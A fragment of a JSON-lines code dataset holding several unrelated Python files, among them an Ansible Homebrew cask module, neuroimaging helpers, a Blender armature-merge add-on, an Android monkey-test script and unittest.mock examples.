err.strip()\n raise HomebrewCaskException(self.message)\n # /_upgrade_all -------------------------- }}}\n\n # installed ------------------------------ {{{\n def _install_current_cask(self):\n if not self.valid_cask(self.current_cask):\n self.failed = True\n self.message = 'Invalid cask: {0}.'.format(self.current_cask)\n raise HomebrewCaskException(self.message)\n\n if self._current_cask_is_installed():\n self.unchanged_count += 1\n self.message = 'Cask already installed: {0}'.format(\n self.current_cask,\n )\n return True\n\n if self.module.check_mode:\n self.changed = True\n self.message = 'Cask would be installed: {0}'.format(\n self.current_cask\n )\n raise HomebrewCaskException(self.message)\n\n opts = (\n [self.brew_path, 'cask', 'install', self.current_cask]\n + self.install_options\n )\n\n cmd = [opt for opt in opts if opt]\n\n rc, out, err = '', '', ''\n\n if self.sudo_password:\n rc, out, err = self._run_command_with_sudo_password(cmd)\n else:\n rc, out, err = self.module.run_command(cmd)\n\n if self._current_cask_is_installed():\n self.changed_count += 1\n self.changed = True\n self.message = 'Cask installed: {0}'.format(self.current_cask)\n return True\n elif self.accept_external_apps and re.search(r\"Error: It seems there is already an App at\", err):\n self.unchanged_count += 1\n self.message = 'Cask already installed: {0}'.format(\n self.current_cask,\n )\n return True\n else:\n self.failed = True\n self.message = err.strip()\n raise HomebrewCaskException(self.message)\n\n def _install_casks(self):\n for cask in self.casks:\n self.current_cask = cask\n self._install_current_cask()\n\n return True\n # /installed ----------------------------- }}}\n\n # upgraded ------------------------------- {{{\n def _upgrade_current_cask(self):\n command = 'upgrade'\n\n if not self.valid_cask(self.current_cask):\n self.failed = True\n self.message = 'Invalid cask: {0}.'.format(self.current_cask)\n raise HomebrewCaskException(self.message)\n\n if not self._current_cask_is_installed():\n command = 'install'\n\n if self._current_cask_is_installed() and not self._current_cask_is_outdated():\n self.message = 'Cask is already upgraded: {0}'.format(\n self.current_cask,\n )\n self.unchanged_count += 1\n return True\n\n if self.module.check_mode:\n self.changed = True\n self.message = 'Cask would be upgraded: {0}'.format(\n self.current_cask\n )\n raise HomebrewCaskException(self.message)\n\n opts = (\n [self.brew_path, 'cask', command]\n + self.install_options\n + [self.current_cask]\n )\n cmd = [opt for opt in opts if opt]\n\n rc, out, err = '', '', ''\n\n if self.sudo_password:\n rc, out, err = self._run_command_with_sudo_password(cmd)\n else:\n rc, out, err = self.module.run_command(cmd)\n\n if self._current_cask_is_installed() and not self._current_cask_is_outdated():\n self.changed_count += 1\n self.changed = True\n self.message = 'Cask upgraded: {0}'.format(self.current_cask)\n return True\n else:\n self.failed = True\n self.message = err.strip()\n raise HomebrewCaskException(self.message)\n\n def _upgrade_casks(self):\n for cask in self.casks:\n self.current_cask = cask\n self._upgrade_current_cask()\n\n return True\n # /upgraded ------------------------------ }}}\n\n # uninstalled ---------------------------- {{{\n def _uninstall_current_cask(self):\n if not self.valid_cask(self.current_cask):\n self.failed = True\n self.message = 'Invalid cask: {0}.'.format(self.current_cask)\n raise HomebrewCaskException(self.message)\n\n if not self._current_cask_is_installed():\n self.unchanged_count += 1\n self.message = 'Cask already uninstalled: {0}'.format(\n self.current_cask,\n )\n return True\n\n if self.module.check_mode:\n self.changed = True\n self.message = 'Cask would be uninstalled: {0}'.format(\n self.current_cask\n )\n raise HomebrewCaskException(self.message)\n\n opts = (\n [self.brew_path, 'cask', 'uninstall', self.current_cask]\n + self.install_options\n )\n\n cmd = [opt for opt in opts if opt]\n\n rc, out, err = '', '', ''\n\n if self.sudo_password:\n rc, out, err = self._run_command_with_sudo_password(cmd)\n else:\n rc, out, err = self.module.run_command(cmd)\n\n if not self._current_cask_is_installed():\n self.changed_count += 1\n self.changed = True\n self.message = 'Cask uninstalled: {0}'.format(self.current_cask)\n return True\n else:\n self.failed = True\n self.message = err.strip()\n raise HomebrewCaskException(self.message)\n\n def _uninstall_casks(self):\n for cask in self.casks:\n self.current_cask = cask\n self._uninstall_current_cask()\n\n return True\n # /uninstalled --------------------------- }}}\n # /commands ---------------------------------------------------- }}}\n\n\ndef main():\n module = AnsibleModule(\n argument_spec=dict(\n name=dict(\n aliases=[\"pkg\", \"package\", \"cask\"],\n required=False,\n type='list',\n ),\n path=dict(\n default=\"/usr/local/bin\",\n required=False,\n type='path',\n ),\n state=dict(\n default=\"present\",\n choices=[\n \"present\", \"installed\",\n \"latest\", \"upgraded\",\n \"absent\", \"removed\", \"uninstalled\",\n ],\n ),\n sudo_password=dict(\n type=\"str\",\n required=False,\n no_log=True,\n ),\n update_homebrew=dict(\n default=False,\n aliases=[\"update-brew\"],\n type='bool',\n ),\n install_options=dict(\n default=None,\n aliases=['options'],\n type='list',\n ),\n accept_external_apps=dict(\n default=False,\n type='bool',\n ),\n upgrade_all=dict(\n default=False,\n aliases=[\"upgrade\"],\n type='bool',\n ),\n greedy=dict(\n default=False,\n type='bool',\n ),\n ),\n supports_check_mode=True,\n )\n\n module.run_command_environ_update = dict(LANG='C', LC_ALL='C', LC_MESSAGES='C', LC_CTYPE='C')\n\n p = module.params\n\n if p['name']:\n casks = p['name']\n else:\n casks = None\n\n path = p['path']\n if path:\n path = path.split(':')\n\n state = p['state']\n if state in ('present', 'installed'):\n state = 'installed'\n if state in ('latest', 'upgraded'):\n state = 'upgraded'\n if state in ('absent', 'removed', 'uninstalled'):\n state = 'absent'\n\n sudo_password = p['sudo_password']\n\n update_homebrew = p['update_homebrew']\n upgrade_all = p['upgrade_all']\n greedy = p['greedy']\n p['install_options'] = p['install_options'] or []\n install_options = ['--{0}'.format(install_option)\n for install_option in p['install_options']]\n\n accept_external_apps = p['accept_external_apps']\n\n brew_cask = HomebrewCask(module=module, path=path, casks=casks,\n state=state, sudo_password=sudo_password,\n update_homebrew=update_homebrew,\n install_options=install_options,\n accept_external_apps=accept_external_apps,\n upgrade_all=upgrade_all,\n greedy=greedy,\n )\n (failed, changed, message) = brew_cask.run()\n if failed:\n module.fail_json(msg=message)\n else:\n module.exit_json(changed=changed, msg=message)\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"env/lib/python3.9/site-packages/ansible/modules/packaging/os/homebrew_cask.py","file_name":"homebrew_cask.py","file_ext":"py","file_size_in_byte":25458,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"490015713","text":"#!/usr/bin/env python3\n\"\"\"\nThese functions are called by both ciftify_meants and ciftify_seed_corr.\n\"\"\"\n\nimport os\nimport sys\nimport subprocess\nimport logging\nimport numpy as np\n\nimport ciftify.utils\nimport ciftify.niio\n\nclass NibInput:\n def __init__(self, path):\n self.path = ciftify.utils.check_input_readable(path)\n self.type, self.base = ciftify.niio.determine_filetype(path)\n\nclass MeantsSettings:\n def __init__(self, arguments):\n self.func = NibInput(arguments[''])\n self.seed = NibInput(arguments[''])\n self.mask = self.get_mask(arguments['--mask'])\n self.roi_label = arguments['--roi-label']\n self.hemi = self.get_hemi(arguments['--hemi'])\n self.weighted = arguments['--weighted']\n\n def get_mask(self, mask):\n '''parse mask.type if mask exists'''\n if mask:\n mask = NibInput(mask)\n else:\n mask = None\n return(mask)\n\n def get_hemi(self, hemi):\n logger = logging.getLogger(__name__)\n if hemi:\n if hemi == \"L\" or hemi == \"R\":\n return hemi\n else:\n logger.error(\"--hemi {} not valid option. Exiting.\\n\"\n \"Specify 'L' (for left) or 'R' (for right)\".format(hemi))\n sys.exit(1)\n else:\n if self.seed.type == 'gifti':\n logger.error(\"If seed type is gifti, Hemisphere needs to be specified with --hemi\")\n sys.exit(1)\n return(hemi)\n\ndef verify_nifti_dimensions_match(file1, file2):\n ''' tests that voxel dimensions match for nifti files, exits if false '''\n logger = logging.getLogger(__name__)\n if ciftify.niio.voxel_spacing(file1) != ciftify.niio.voxel_spacing(file2):\n logger.error('Voxel dimensions of {} and {} do not match. Exiting'\n ''.format(file1, file2))\n sys.exit(1)\n\ndef load_data_as_numpy_arrays(settings, tempdir):\n '''\n loads the data using ciftify.niio tools according to their type\n read the settings object to know about func, seed and mask files\n '''\n logger = logging.getLogger(__name__)\n\n if not settings.mask: mask_data = None\n\n if settings.seed.type == \"cifti\":\n seed_info = ciftify.niio.cifti_info(settings.seed.path)\n func_info = ciftify.niio.cifti_info(settings.func.path)\n if not all((seed_info['maps_to_volume'], func_info['maps_to_volume'])):\n seed_data = ciftify.niio.load_concat_cifti_surfaces(settings.seed.path)\n if settings.func.type == \"cifti\":\n func_data = ciftify.niio.load_concat_cifti_surfaces(settings.func.path)\n else:\n sys.exit('If is in cifti, func file needs to match.')\n if settings.mask:\n if settings.mask.type == \"cifti\":\n mask_data = ciftify.niio.load_concat_cifti_surfaces(settings.mask.path)\n else:\n sys.exit('If is in cifti, func file needs to match.')\n else:\n seed_data = ciftify.niio.load_cifti(settings.seed.path)\n if settings.func.type == \"cifti\":\n func_data = ciftify.niio.load_cifti(settings.func.path)\n else:\n sys.exit('If is in cifti, func file needs to match.')\n if settings.mask:\n if settings.mask.type == \"cifti\":\n mask_data = ciftify.niio.load_cifti(settings.mask.path)\n else:\n sys.exit('If is in cifti, mask file needs to match.')\n\n elif settings.seed.type == \"gifti\":\n seed_data = ciftify.niio.load_gii_data(settings.seed.path)\n if settings.func.type == \"gifti\":\n func_data = ciftify.niio.load_gii_data(settings.func.path)\n if settings.mask:\n if settings.mask.type == \"gifti\":\n mask_data = ciftify.niio.load_gii_data(settings.mask.path)\n else:\n sys.exit('If is in gifti, mask file needs to match.')\n elif settings.func.type == \"cifti\":\n if settings.hemi == 'L':\n func_data = ciftify.niio.load_hemisphere_data(settings.func.path, 'CORTEX_LEFT')\n elif settings.hemi == 'R':\n func_data = ciftify.niio.load_hemisphere_data(settings.func.path, 'CORTEX_RIGHT')\n ## also need to apply this change to the mask if it matters\n if settings.mask:\n if settings.mask.type == \"cifti\":\n if settings.hemi == 'L':\n mask_data = ciftify.niio.load_hemisphere_data(settings.mask.path, 'CORTEX_LEFT')\n elif settings.hemi == 'R':\n mask_data = ciftify.niio.load_hemisphere_data(settings.mask.path, 'CORTEX_RIGHT')\n else:\n sys.exit('If is in gifti, must be gifti or cifti')\n\n elif settings.seed.type == \"nifti\":\n seed_data, _, _, _ = ciftify.niio.load_nifti(settings.seed.path)\n if settings.func.type == \"nifti\":\n verify_nifti_dimensions_match(settings.seed.path, settings.func.path)\n func_data, _, _, _ = ciftify.niio.load_nifti(settings.func.path)\n elif settings.func.type == 'cifti':\n subcort_func = os.path.join(tempdir, 'subcort_func.nii.gz')\n ciftify.utils.run(['wb_command',\n '-cifti-separate', settings.func.path, 'COLUMN',\n '-volume-all', subcort_func])\n verify_nifti_dimensions_match(settings.seed.path, subcort_func)\n func_data, _, _, _ = ciftify.niio.load_nifti(subcort_func)\n else:\n logger.error('If is in nifti, func file needs to match.')\n exit(1)\n if settings.mask:\n if settings.mask.type == \"nifti\":\n verify_nifti_dimensions_match(settings.seed.path, settings.mask.path)\n verify_nifti_dimensions_match(settings.func.path, settings.mask.path)\n mask_data, _, _, _ = ciftify.niio.load_nifti(settings.mask.path)\n elif settings.mask.type == 'cifti':\n subcort_mask = os.path.join(tempdir, 'subcort_mask.nii.gz')\n ciftify.utils.run(['wb_command',\n '-cifti-separate', settings.mask.path, 'COLUMN',\n '-volume-all', subcort_mask])\n verify_nifti_dimensions_match(settings.seed.path, subcort_mask)\n mask_data, _, _, _ = ciftify.niio.load_nifti(subcort_mask)\n else:\n logger.error(' file needs to be cifti or nifti')\n sys.exit(1)\n\n ## check that dim 0 of both seed and func\n if func_data.shape[0] != seed_data.shape[0]:\n logger.error(\" and images have different number of voxels/vertices\")\n sys.exit(1)\n\n if seed_data.shape[1] != 1:\n logger.warning(\"your seed volume has more than one timepoint\")\n\n if settings.mask:\n if func_data.shape[0] != mask_data.shape[0]:\n logger.error(\" and images have different number of voxels/vertices\")\n sys.exit(1)\n if seed_data.shape[0] != mask_data.shape[0]:\n logger.error(\" and images have different number of voxels/vertices\")\n sys.exit(1)\n\n return(func_data, seed_data, mask_data)\n\ndef calc_meants_with_numpy(settings, outputlabels = None):\n '''calculate the meants using numpy and write to file '''\n logger = logging.getLogger(__name__)\n ## even if no mask given, mask out all zero elements..\n with ciftify.utils.TempDir() as tempdir:\n func_data, seed_data, mask_data = load_data_as_numpy_arrays(settings, tempdir)\n\n mask_indices = np.where(np.isfinite(func_data[:,0]))[0]\n\n if settings.mask:\n # attempt to mask out non-brain regions in ROIs\n n_seeds = len(np.unique(seed_data))\n if seed_data.shape[0] != mask_data.shape[0]:\n logger.error('the mask and seed images have different number of voxels')\n sys.exit(1)\n mask_idx = np.where(mask_data > 0)[0]\n mask_indices = np.intersect1d(mask_indices, mask_idx)\n if len(np.unique(np.multiply(seed_data,mask_data))) != n_seeds:\n logger.error('At least 1 ROI completely outside mask for {}.'.format(outputcsv))\n sys.exit(1)\n\n if settings.weighted:\n out_data = np.average(func_data[mask_indices,:], axis=0,\n weights=np.ravel(seed_data[mask_indices]))\n out_data = out_data.reshape(1,out_data.shape[0]) ## reshaping to match non-weigthed output\n else:\n # init output vector\n if settings.roi_label:\n if float(settings.roi_label) not in np.unique(seed_data)[1:]:\n sys.exit('ROI {}, not in seed map labels: {}'.format(settings.roi_label, np.unique(seed_data)[1:]))\n else:\n rois = [float(settings.roi_label)]\n else:\n rois = np.unique(seed_data)[1:]\n out_data = np.zeros((len(rois), func_data.shape[1]))\n\n # get mean seed dataistic from each, append to output\n for i, roi in enumerate(rois):\n idx = np.where(seed_data == roi)[0]\n idxx = np.intersect1d(mask_indices, idx)\n out_data[i,:] = np.mean(func_data[idxx, :], axis=0)\n\n # write out csv\n if settings.outputcsv: np.savetxt(settings.outputcsv, out_data, delimiter=\",\")\n if outputlabels: np.savetxt(outputlabels, rois, delimiter=\",\")\n\n # return the meants\n return(out_data)\n","sub_path":"ciftify/meants.py","file_name":"meants.py","file_ext":"py","file_size_in_byte":9551,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"577230213","text":"# -*- coding: utf-8 -*-\n\"\"\"Chore.\n\nRevision ID: 1b2288a0f6\nRevises: 313230cbc09\nCreate Date: 2015-11-08 20:03:20.683669\n\"\"\"\nimport sqlalchemy as sa\nfrom alembic import op\n\n# revision identifiers, used by Alembic.\nrevision = \"1b2288a0f6\"\ndown_revision = \"313230cbc09\"\n\n\ndef upgrade():\n \"\"\"Upgrade the database.\"\"\"\n op.create_table(\n \"chore\",\n sa.Column(\"id\", sa.Integer(), nullable=False),\n sa.Column(\"title\", sa.String(), nullable=False),\n sa.PrimaryKeyConstraint(\"id\"),\n sa.UniqueConstraint(\"title\"),\n )\n\n\ndef downgrade():\n \"\"\"Downgrade the database.\"\"\"\n op.drop_table(\"chore\")\n","sub_path":"migrations/versions/1b2288a0f6_chore.py","file_name":"1b2288a0f6_chore.py","file_ext":"py","file_size_in_byte":629,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"427949392","text":"import re\nimport sys\nimport os\nimport time\nimport random\nimport shlex\nimport subprocess\n\nsys.path.append(os.path.join(os.environ['ANDROID_VIEW_CLIENT_HOME'], 'src'))\nfrom com.dtmilano.android.viewclient import ViewClient, View\nFLAG_ACTIVITY_NEW_TASK = 0x10000000\n\n\nclass CMonkey:\n def __init__(self):\n self.package = 'kr.kdev.dg1s.biowiki'\n self.activity = '.ui.themes.ThemeBrowserActivity'\n self.component = self.package + '/' + self.activity\n self.init_device()\n \n def init_device(self):\n self.device, self.serialno = ViewClient.connectToDeviceOrExit()\n self.vc = ViewClient(self.device, self.serialno)\n\n def start_activity(self):\n self.device.startActivity(component=self.component,\n flags=FLAG_ACTIVITY_NEW_TASK)\n\n def random_tap(self):\n x, y = random.randint(0, 2000), random.randint(0, 2000)\n self.device.touch(x, y)\n\n def test_comments(self):\n for i in range(20):\n self.random_tap()\n\ndef test():\n cm = CMonkey()\n for i in range(1000):\n cm.start_activity()\n args = shlex.split(\"adb shell monkey -p kr.kdev.dg1s.biowiki 500\")\n p = subprocess.Popen(args)\n\ntest()","sub_path":"tests/monkeys/customizable_monkey.py","file_name":"customizable_monkey.py","file_ext":"py","file_size_in_byte":1224,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"168592460","text":"#encoding=UTF-8\n\nimport os\nimport random\n\nimport SimpleITK as sitk\nimport torch\nfrom torch.utils.data import Dataset as dataset\nimport numpy as np\n\n\nclass Dataset(dataset):\n def __init__(self, ct_dir, seg_dir, slice_size, cts, gts, slice_expand=0):\n\n self.size = slice_size\n self.slice_expand = slice_expand\n self.random_min = int(0.5 * slice_size)\n self.cts = cts\n self.gts = gts\n\n def __getitem__(self, index):\n\n\n ct_array = self.cts[index]\n seg_array = self.gts[index]\n\n idx = np.where(seg_array != 0)\n idx_min = min(idx[0])\n idx_max = max(idx[0])\n\n idx_min = max(0, idx_min - self.slice_expand)\n idx_max = min(idx_max + self.slice_expand, seg_array.shape[0]-1)\n\n start_slice = random.randint(idx_min, idx_min + 12)\n\n\n ct_array_list = []\n seg_array_list = []\n while (start_slice + self.size) < idx_max + 1:\n end_slice = start_slice + self.size\n ct_array_temp = ct_array[start_slice:end_slice, :, :]\n seg_array_temp = seg_array[start_slice:end_slice, :, :]\n ct_array_list.append(torch.FloatTensor(ct_array_temp).unsqueeze(0))\n seg_array_list.append(torch.FloatTensor(seg_array_temp))\n\n start_slice = random.randint(start_slice + self.random_min, end_slice)\n\n end_slice = random.randint(idx_max - 12, idx_max)\n start_slice = end_slice - self.size\n ct_array_temp = ct_array[start_slice:end_slice, :, :]\n seg_array_temp = seg_array[start_slice:end_slice, :, :]\n ct_array_list.append(torch.FloatTensor(ct_array_temp).unsqueeze(0))\n seg_array_list.append(torch.FloatTensor(seg_array_temp))\n\n\n\n return ct_array_list, seg_array_list\n\n def __len__(self):\n\n return len(self.cts)","sub_path":"dataset/.ipynb_checkpoints/dataset2-checkpoint.py","file_name":"dataset2-checkpoint.py","file_ext":"py","file_size_in_byte":1819,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"472241270","text":"# Python Unittest\n# unittest.mock � mock object library\n# unittest.mock is a library for testing in Python.\n# It allows you to replace parts of your system under test with mock objects and make assertions about how they have been used.\n# unittest.mock provides a core Mock class removing the need to create a host of stubs throughout your test suite.\n# After performing an action, you can make assertions about which methods / attributes were used and arguments they were called with.\n# You can also specify return values and set needed attributes in the normal way.\n# \n# Additionally, mock provides a patch() decorator that handles patching module and class level attributes within the scope of a test, along with sentinel\n# for creating unique objects.\n# \n# Mock is very easy to use and is designed for use with unittest. Mock is based on the �action -> assertion� pattern instead of �record -> replay� used by\n# many mocking frameworks.\n#\n# The Mock Class\n# Mock is a flexible mock object intended to replace the use of stubs and test doubles throughout your code. Mocks are callable and create attributes as new\n# mocks when you access them. \n# Accessing the same attribute will always return the same mock. Mocks record how you use them, allowing you to make assertions about what your code has done\n# to them.\n#\n\n#\n# assert_called(*args, **kwargs). \n# assert that the mock was called at least once.\n# \n\nmock = Mock()\nmock.method()\n\n# OUTPUT: ''\n\nmock.method.assert_called()\n \n\n#\n# assert_called_once(*args, **kwargs). \n# assert that the mock was called exactly once.\n# \n\nmock = Mock()\nmock.method()\n\n# OUTPUT: ''\n\nmock.method.assert_called_once()\nmock.method()\n\n# OUTPUT: ''\n\nmock.method.assert_called_once()\n\n#\n# assert_called_with(*args, **kwargs). \n# This method is a convenient way of asserting that calls are made in a particular way:\n# \n\nmock = Mock()\nmock.method(1, 2, 3, test='wow')\n\n# OUTPUT: ''\n\nmock.method.assert_called_with(1, 2, 3, test='wow')\n\n#\n# assert_called_once_with(*args, **kwargs). \n# assert that the mock was called exactly once and that that call was with the specified arguments.\n# \n\nmock = Mock(return_value=None)\nmock('foo', bar='baz')\n\nmock.assert_called_once_with('foo', bar='baz')\nmock('other', bar='values')\n\nmock.assert_called_once_with('other', bar='values')\n","sub_path":"115_testing/examples/Github/_Level_1/Python_Unittest_Suite-master/Python_Unittest_Mock_Class.py","file_name":"Python_Unittest_Mock_Class.py","file_ext":"py","file_size_in_byte":2453,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"51923653","text":"from mongo_manager import MongoManager\nfrom config_manager import ConfigManager\n\n\ndef convert_page_details_to_dictionary(page_details):\n return {\"uuid\": page_details.uuid,\n \"is_error\": page_details.is_error,\n \"title\": page_details.title,\n \"description\": page_details.description,\n \"tags\": \",\".join(page_details.tags),\n \"last_update_time\": page_details.last_update_time,\n \"language\": page_details.language,\n \"stars\": page_details.stars}\n\n\nclass ScrapperMongoManager(MongoManager):\n def __init__(self, config_manager):\n super(ScrapperMongoManager, self).__init__(config_manager.get_config_string('Mongo', 'Url'),\n config_manager.get_config_string('Mongo', 'DataBase'),\n config_manager.get_config_string('Mongo', 'Column'),\n config_manager.get_config_string('Mongo', 'User'),\n config_manager.get_config_string('Mongo', 'Password'))\n\n def insert_pages_details(self, pages_details):\n values = []\n for page_details in pages_details:\n values.append(convert_page_details_to_dictionary(page_details))\n\n self.insert(values)\n","sub_path":"scrapper_mongo_manager.py","file_name":"scrapper_mongo_manager.py","file_ext":"py","file_size_in_byte":1339,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"532961546","text":"bl_info = {\n\t\"name\": \"Selective Merge\",\n\t\"author\": \"Grey Ruessler\",\n\t\"version\": (1, 0, 0),\n\t\"blender\": (2, 80, 0),\n\t\"location\": \"Search > Selective Merge\",\n\t\"description\": \"Merges extra bones from one aramature onto an additional one\",\n\t\"warning\": \"\",\n\t\"wiki_url\": \"\",\n\t\"category\": \"Rigging\",\n}\n\nimport bpy\n\ndef mergeFrom(context, source):\n\tboneparents_original = {}\n\tremovedAr = []\n\n\t#Setup source and target\n\n\ttarget = context.view_layer.objects.active\n\tif target is None:\n\t\treturn\n\tif source.name == target.name:\n\t\treturn\n\tname_og = target.name\n\n\tsource.data.pose_position = 'REST'\n\ttarget.data.pose_position = 'POSE'\n\n\tsource.select_set(True)\n\ttarget.select_set(False)\n\tcontext.view_layer.objects.active = source\n\tprint(source)\n\tprint(target)\n\tbpy.ops.object.mode_set(mode='EDIT')\n\n\t#Save parents\n\n\tfor bone in source.data.bones:\n\t\tif bone.parent is None:\n\t\t\tboneparents_original[bone.name] = \"None\"\n\t\telse:\n\t\t\tboneparents_original[bone.name] = bone.parent.name\n\n\t#Prevent duplicates\n\n\thustlebones = source.data.edit_bones\n\tfor bone in hustlebones:\n\t\tif bone.name in target.data.bones:\n\t\t\tsource.data.edit_bones.remove( bone )\n\n\t#Apply target armature modifier, make them target source\n\n\tbpy.ops.object.mode_set(mode='POSE')\n\n\tfor ob in context.scene.objects:\n\t\tob.select_set(False)\n\n\tfor ob in context.scene.objects:\n\t\tdoIt = False\n\t\tmodName = \"Skeleton\"\n\t\tob.select_set(True)\n\t\tcontext.view_layer.objects.active = ob\n\t\tfor mod in ob.modifiers:\n\t\t\tif mod.type == \"ARMATURE\":\n\t\t\t\tif mod.object == target:\n\t\t\t\t\t#bpy.ops.object.modifier_apply(apply_as='DATA', modifier = mod.name )\n\t\t\t\t\tmodName = mod.name\n\t\t\t\t\tbpy.ops.object.modifier_remove( modifier = mod.name )\n\t\t\t\t\tdoIt = True\n\t\tif doIt:\n\t\t\tob.modifiers.new(name = modName, type = 'ARMATURE')\n\t\t\tif modName in ob.modifiers:\n\t\t\t\tob.modifiers[modName].object = source\n\t\tob.select_set(False)\n\n\t#Merge skeletons\n\n\tsource.select_set(True)\n\ttarget.select_set(True)\n\tcontext.view_layer.objects.active = source\n\n\ttargetBones = []\n\n\tfor bone in target.data.bones:\n\t\ttargetBones.append(bone.name)\n\n\tbpy.ops.object.mode_set(mode='OBJECT')\n\n\tfor ob in context.scene.objects:\n\t\tdoIt = False\n\t\tfor mod in ob.modifiers:\n\t\t\tif mod.type == \"ARMATURE\" and mod.object == target:\n\t\t\t\tob.modifiers.remove(mod)\n\t\t\t\tdoIt = True\n\t\tif doIt:\n\t\t\tob.modifiers.new(name = 'Skeleton', type = 'ARMATURE')\n\t\t\tob.modifiers['Skeleton'].object = source\n\n\tbpy.ops.object.join()\n\n\t#Reparent\n\n\tbpy.ops.object.mode_set(mode='EDIT')\n\n\tfor bone in source.data.edit_bones:\n\t\t#if ( ( bone.parent is None ) or ( ( bone.name in boneparents_original ) and bone.parent.name != boneparents_original[bone.name])) and ( bone.name in boneparents_original ) and ( boneparents_original[ bone.name ] in source.data.edit_bones ):\n\t\tif ( ( bone.parent is None ) or ( ( bone.name in boneparents_original ) and bone.parent.name != boneparents_original[bone.name])) and not (bone.name in targetBones) and ( bone.name in boneparents_original ) and ( boneparents_original[ bone.name ] in source.data.edit_bones ):\n\t\t\tbone.parent = source.data.edit_bones[ boneparents_original[ bone.name ] ]\n\n\t#Duplicate skeleton into final\n\n\tbpy.ops.object.mode_set(mode='OBJECT')\n\n\tsource.select_set(True)\n\tcontext.view_layer.objects.active = source\n\n\tbpy.ops.object.mode_set(mode='POSE')\n\n\t#Remove obsolete constraints\n\n\tfor bone in source.pose.bones:\n\t\tfor c in bone.constraints:\n\t\t\tbone.constraints.remove( c )\n\n\tcontext.object.data.pose_position = 'POSE'\n\tcontext.object.name = name_og\n\n\treturn removedAr\n\nclass SelectiveMergeOperator( bpy.types.Operator ):\n\tbl_idname = \"armature.selective_merge\"\n\tbl_label = \"Selective Merge\"\n\tbl_options = {'REGISTER', 'UNDO'}\n\n\t@classmethod\n\n\tdef poll(cls, context):\n\t\tvalid_obs = 0\n\t\tfor ob in context.selected_objects:\n\t\t\tif ob.type == \"ARMATURE\":\n\t\t\t\tvalid_obs = valid_obs + 1\n\t\treturn ( not context.object is None ) and context.object.type == 'ARMATURE' and valid_obs > 1\n\n\tdef execute(self,context):\n\t\tselectedObjects = context.selected_objects\n\t\tif (not (context.view_layer.objects.active)) and context.view_layer.objects.active.select_get():\n\t\t\tselectedObjects.remove(context.view_layer.objects.active) #\n\t\tfor ob in selectedObjects:\n\t\t\tif ob.type == \"ARMATURE\" and ob != context.view_layer.objects.active:\n\t\t\t\tmergeFrom(context, ob) #merge FROM object ONTO active object\n\t\t\t\tcontext.view_layer.objects.active = ob\n\t\treturn {'FINISHED'}\n\ndef menu_func(self, context):\n\tself.layout.operator(SelectiveMergeOperator.bl_idname)\n\ndef register():\n\tbpy.utils.register_class(SelectiveMergeOperator)\n\tbpy.types.VIEW3D_MT_object.append(menu_func)\n\ndef unregister():\n\tbpy.utils.unregister_class(SelectiveMergeOperator)\n\tbpy.types.VIEW3D_MT_object.append(menu_func)\n\nif __name__ == \"__main__\":\n\tregister()","sub_path":"__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":4722,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"69450933","text":"# -*- coding: utf-8 -*-\n# @Author : Jing\n# @FileName: 55.1.平衡二叉树.py\n# @IDE: PyCharm\n# Solution: 暴力法\n\ndef reConstructBinaryTree(pre, tin):\n \"\"\"根据先序遍历序列和中序遍历序列构建二叉树\"\"\"\n if len(pre) == 0 or len(tin) == 0:\n return None\n if len(pre) == 1:\n return TreeNode(pre[0])\n else:\n flag = TreeNode(pre[0])\n index = tin.index(pre[0])\n flag.left = reConstructBinaryTree(pre[1:index + 1],\n tin[:index])\n flag.right = reConstructBinaryTree(pre[index + 1:],\n tin[index + 1:])\n return flag\n\n\nclass TreeNode:\n def __init__(self, x):\n self.val = x\n self.left = None\n self.right = None\n\n\nclass Solution:\n def __init__(self):\n self.left, self.right = 0, 0\n\n def Balance(self, root):\n if not root:\n return 0\n left = self.Balance(root.left)\n right = self.Balance(root.right)\n return 1+max(left, right)\n\n def IsBalanced(self, root):\n if not root:\n return True\n if self.IsBalanced(root.left) and self.IsBalanced(root.right):\n self.left = self.Balance(root.left)\n self.right = self.Balance(root.right)\n diff = self.left-self.right\n if abs(diff) > 1:\n return False\n return True\n\n\nif __name__ == '__main__':\n preOrder = [4, 2, 1, 3, 6, 5, 7]\n inOrder = [1, 2, 3, 4, 5, 6, 7]\n flag = reConstructBinaryTree(preOrder, inOrder)\n s = Solution()\n print(s.IsBalance(flag))\n\n\n","sub_path":"剑指offer/55.1.平衡二叉树.py","file_name":"55.1.平衡二叉树.py","file_ext":"py","file_size_in_byte":1618,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"592371114","text":"# -*- python -*-\n\n# This software was produced by NIST, an agency of the U.S. government,\n# and by statute is not subject to copyright in the United States.\n# Recipients of this software assume all responsibilities associated\n# with its operation, modification and maintenance. However, to\n# facilitate maintenance we ask that before distributing modified\n# versions of this software, you first contact the authors at\n# oof_manager@nist.gov. \n\n# Widgets for displaying OutputVals.\n\n# These are used in the MeshDataGUI. They just display the value, not\n# the name of the Output. TODO: They probably should display the name\n# too, so that the Concatenate output is less confusing.\n\nfrom ooflib.SWIG.common import switchboard\nfrom ooflib.SWIG.engine import corientation\nfrom ooflib.SWIG.engine import fieldindex\nfrom ooflib.SWIG.engine import outputval\nfrom ooflib.SWIG.engine import symmmatrix\nfrom ooflib.common import debug\nfrom ooflib.common.IO.GUI import gtklogger\nfrom ooflib.engine.IO import outputClones\n\nimport gi\ngi.require_version(\"Gtk\", \"3.0\")\nfrom gi.repository import Gtk\n\n# The generic output value widget just prints the value.\n\n## TODO: Widgets should have labels that display the Output's\n## shortrepr(). The problem is that the widget is created by the\n## OutputVal, not the Output.\n\nclass GenericOVWidget:\n def __init__(self, val, **kwargs):\n debug.mainthreadTest()\n if val is not None:\n self.gtk = Gtk.Entry(editable=False, **kwargs)\n 